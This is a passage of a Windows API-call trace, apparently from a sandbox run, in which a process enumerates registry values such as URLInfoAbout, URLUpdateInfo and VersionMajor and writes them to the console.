lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.834] GetConsoleOutputCP () returned 0x1b5 [0147.834] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.834] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.834] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.834] GetProcessHeap () returned 0x2e0000 [0147.834] GetProcessHeap () returned 0x2e0000 [0147.834] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.834] GetProcessHeap () returned 0x2e0000 [0147.834] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.835] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.835] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.835] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.835] GetProcessHeap () returned 0x2e0000 [0147.835] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.835] GetProcessHeap () returned 0x2e0000 [0147.835] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.835] GetProcessHeap () returned 0x2e0000 [0147.835] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.835] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.835] __iob_func () returned 0x7fefd702a80 [0147.835] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.835] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.835] _fileno (_File=0x7fefd702ab0) returned 1 [0147.835] _errno () returned 0xc4bb0 [0147.835] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.835] _errno () returned 0xc4bb0 [0147.835] GetFileType (hFile=0x50) returned 0x1 [0147.835] lstrlenW (lpString=" ") returned 4 [0147.835] GetConsoleOutputCP () returned 0x1b5 [0147.835] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.835] GetConsoleOutputCP () returned 0x1b5 [0147.835] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.835] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.835] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.836] lstrlenW (lpString="URLInfoAbout") returned 12 [0147.836] __iob_func () returned 0x7fefd702a80 [0147.836] _fileno (_File=0x7fefd702ab0) returned 1 [0147.836] _errno () returned 0xc4bb0 [0147.836] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.836] _errno () returned 0xc4bb0 [0147.836] GetFileType (hFile=0x50) returned 0x1 [0147.836] lstrlenW (lpString="URLInfoAbout") returned 12 [0147.836] GetConsoleOutputCP () returned 0x1b5 [0147.836] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.836] GetConsoleOutputCP () returned 0x1b5 [0147.836] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0147.836] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.836] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.836] __iob_func () returned 0x7fefd702a80 [0147.836] _fileno (_File=0x7fefd702ab0) returned 1 [0147.836] _errno () returned 0xc4bb0 [0147.836] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.836] _errno () returned 0xc4bb0 [0147.836] GetFileType (hFile=0x50) returned 0x1 [0147.836] lstrlenW (lpString=" ") returned 4 [0147.836] GetConsoleOutputCP () returned 0x1b5 [0147.836] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.836] GetConsoleOutputCP () returned 0x1b5 [0147.837] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.837] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.837] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.837] __iob_func () returned 0x7fefd702a80 [0147.837] _fileno (_File=0x7fefd702ab0) returned 1 [0147.837] _errno () returned 0xc4bb0 [0147.837] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.837] _errno () returned 0xc4bb0 [0147.837] GetFileType (hFile=0x50) returned 0x1 [0147.837] lstrlenW (lpString="REG_SZ") returned 6 [0147.837] GetConsoleOutputCP () returned 0x1b5 [0147.837] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.837] GetConsoleOutputCP () returned 0x1b5 [0147.837] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.837] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.837] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.837] __iob_func () returned 0x7fefd702a80 [0147.837] _fileno (_File=0x7fefd702ab0) returned 1 [0147.837] _errno () returned 0xc4bb0 [0147.837] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.837] _errno () returned 0xc4bb0 [0147.837] GetFileType (hFile=0x50) returned 0x1 [0147.837] lstrlenW (lpString=" ") returned 4 [0147.838] GetConsoleOutputCP () returned 0x1b5 [0147.838] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.838] GetConsoleOutputCP () returned 0x1b5 [0147.838] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.838] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.838] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.838] __iob_func () returned 0x7fefd702a80 [0147.838] _fileno (_File=0x7fefd702ab0) returned 1 [0147.838] _errno () returned 0xc4bb0 [0147.838] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.838] _errno () returned 0xc4bb0 [0147.838] GetFileType (hFile=0x50) returned 0x1 [0147.838] lstrlenW (lpString="") returned 0 [0147.838] __iob_func () returned 0x7fefd702a80 [0147.838] _fileno (_File=0x7fefd702ab0) returned 1 [0147.838] _errno () returned 0xc4bb0 [0147.838] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.838] _errno () returned 0xc4bb0 [0147.838] GetFileType (hFile=0x50) returned 0x1 [0147.838] lstrlenW (lpString="\n") returned 1 [0147.838] GetConsoleOutputCP () returned 0x1b5 [0147.838] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.838] GetConsoleOutputCP () returned 0x1b5 [0147.839] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.839] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.839] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.839] GetProcessHeap () returned 0x2e0000 [0147.839] GetProcessHeap () returned 0x2e0000 [0147.839] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.839] GetProcessHeap () returned 0x2e0000 [0147.839] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.839] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.839] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.839] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.839] GetProcessHeap () returned 0x2e0000 [0147.839] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.839] GetProcessHeap () returned 0x2e0000 [0147.839] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.839] GetProcessHeap () returned 0x2e0000 [0147.839] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.839] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.839] __iob_func () returned 0x7fefd702a80 [0147.839] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.839] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.839] _fileno (_File=0x7fefd702ab0) returned 1 [0147.839] _errno () returned 0xc4bb0 [0147.839] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.839] _errno () returned 0xc4bb0 [0147.839] GetFileType (hFile=0x50) returned 0x1 [0147.839] lstrlenW (lpString=" ") returned 4 [0147.839] GetConsoleOutputCP () returned 0x1b5 [0147.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.840] GetConsoleOutputCP () returned 0x1b5 [0147.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.840] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.840] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.840] lstrlenW (lpString="URLUpdateInfo") returned 13 [0147.840] __iob_func () returned 0x7fefd702a80 [0147.840] _fileno (_File=0x7fefd702ab0) returned 1 [0147.840] _errno () returned 0xc4bb0 [0147.840] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.840] _errno () returned 0xc4bb0 [0147.840] GetFileType (hFile=0x50) returned 0x1 [0147.840] lstrlenW (lpString="URLUpdateInfo") returned 13 [0147.840] GetConsoleOutputCP () returned 0x1b5 [0147.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.840] GetConsoleOutputCP () returned 0x1b5 [0147.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0147.840] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.840] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.840] __iob_func () returned 0x7fefd702a80 [0147.840] _fileno (_File=0x7fefd702ab0) returned 1 [0147.840] _errno () returned 0xc4bb0 [0147.841] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.841] _errno () returned 0xc4bb0 [0147.841] GetFileType (hFile=0x50) returned 0x1 [0147.841] lstrlenW (lpString=" ") returned 4 [0147.841] GetConsoleOutputCP () returned 0x1b5 [0147.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.841] GetConsoleOutputCP () returned 0x1b5 [0147.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.841] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.841] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.841] __iob_func () returned 0x7fefd702a80 [0147.841] _fileno (_File=0x7fefd702ab0) returned 1 [0147.841] _errno () returned 0xc4bb0 [0147.841] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.841] _errno () returned 0xc4bb0 [0147.841] GetFileType (hFile=0x50) returned 0x1 [0147.841] lstrlenW (lpString="REG_SZ") returned 6 [0147.841] GetConsoleOutputCP () returned 0x1b5 [0147.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.841] GetConsoleOutputCP () returned 0x1b5 [0147.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.842] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.842] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.842] __iob_func () returned 0x7fefd702a80 [0147.842] _fileno (_File=0x7fefd702ab0) returned 1 [0147.842] _errno () returned 0xc4bb0 [0147.842] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.842] _errno () returned 0xc4bb0 [0147.842] GetFileType (hFile=0x50) returned 0x1 [0147.842] lstrlenW (lpString=" ") returned 4 [0147.842] GetConsoleOutputCP () returned 0x1b5 [0147.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.842] GetConsoleOutputCP () returned 0x1b5 [0147.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.842] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.842] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.842] __iob_func () returned 0x7fefd702a80 [0147.842] _fileno (_File=0x7fefd702ab0) returned 1 [0147.842] _errno () returned 0xc4bb0 [0147.842] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.842] _errno () returned 0xc4bb0 [0147.842] GetFileType (hFile=0x50) returned 0x1 [0147.842] lstrlenW (lpString="") returned 0 [0147.842] __iob_func () returned 0x7fefd702a80 [0147.842] _fileno (_File=0x7fefd702ab0) returned 1 [0147.842] _errno () returned 0xc4bb0 [0147.842] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.842] _errno () returned 0xc4bb0 [0147.843] GetFileType (hFile=0x50) returned 0x1 [0147.843] lstrlenW (lpString="\n") returned 1 [0147.843] GetConsoleOutputCP () returned 0x1b5 [0147.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.843] GetConsoleOutputCP () returned 0x1b5 [0147.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.843] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.843] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.843] GetProcessHeap () returned 0x2e0000 [0147.843] GetProcessHeap () returned 0x2e0000 [0147.843] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.843] GetProcessHeap () returned 0x2e0000 [0147.843] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.843] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.843] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.843] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.843] GetProcessHeap () returned 0x2e0000 [0147.843] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.843] GetProcessHeap () returned 0x2e0000 [0147.843] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.843] GetProcessHeap () returned 0x2e0000 [0147.843] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.843] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x10, pcbData=0x23f670*=0x4) returned 0x0 [0147.843] __iob_func () returned 0x7fefd702a80 [0147.843] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.844] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.844] _fileno (_File=0x7fefd702ab0) returned 1 [0147.844] _errno () returned 0xc4bb0 [0147.844] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.844] _errno () returned 0xc4bb0 [0147.844] GetFileType (hFile=0x50) returned 0x1 [0147.844] lstrlenW (lpString=" ") returned 4 [0147.844] GetConsoleOutputCP () returned 0x1b5 [0147.844] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.844] GetConsoleOutputCP () returned 0x1b5 [0147.844] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.844] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.844] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.844] lstrlenW (lpString="VersionMajor") returned 12 [0147.844] __iob_func () returned 0x7fefd702a80 [0147.844] _fileno (_File=0x7fefd702ab0) returned 1 [0147.844] _errno () returned 0xc4bb0 [0147.844] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.844] _errno () returned 0xc4bb0 [0147.844] GetFileType (hFile=0x50) returned 0x1 [0147.844] lstrlenW (lpString="VersionMajor") returned 12 [0147.844] GetConsoleOutputCP () returned 0x1b5 [0147.844] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.845] GetConsoleOutputCP () returned 0x1b5 [0147.845] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0147.845] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.845] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.845] __iob_func () returned 0x7fefd702a80 [0147.845] _fileno (_File=0x7fefd702ab0) returned 1 [0147.845] _errno () returned 0xc4bb0 [0147.845] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.845] _errno () returned 0xc4bb0 [0147.845] GetFileType (hFile=0x50) returned 0x1 [0147.845] lstrlenW (lpString=" ") returned 4 [0147.845] GetConsoleOutputCP () returned 0x1b5 [0147.845] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.845] GetConsoleOutputCP () returned 0x1b5 [0147.845] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.845] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.845] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.845] __iob_func () returned 0x7fefd702a80 [0147.845] _fileno (_File=0x7fefd702ab0) returned 1 [0147.845] _errno () returned 0xc4bb0 [0147.845] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.845] _errno () returned 0xc4bb0 [0147.845] GetFileType (hFile=0x50) returned 0x1 [0147.845] lstrlenW (lpString="REG_DWORD") returned 9 [0147.846] GetConsoleOutputCP () returned 0x1b5 [0147.846] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.846] GetConsoleOutputCP () returned 0x1b5 [0147.846] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.846] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.846] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.846] __iob_func () returned 0x7fefd702a80 [0147.846] _fileno (_File=0x7fefd702ab0) returned 1 [0147.846] _errno () returned 0xc4bb0 [0147.846] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.846] _errno () returned 0xc4bb0 [0147.846] GetFileType (hFile=0x50) returned 0x1 [0147.846] lstrlenW (lpString=" ") returned 4 [0147.846] GetConsoleOutputCP () returned 0x1b5 [0147.846] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.846] GetConsoleOutputCP () returned 0x1b5 [0147.846] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", 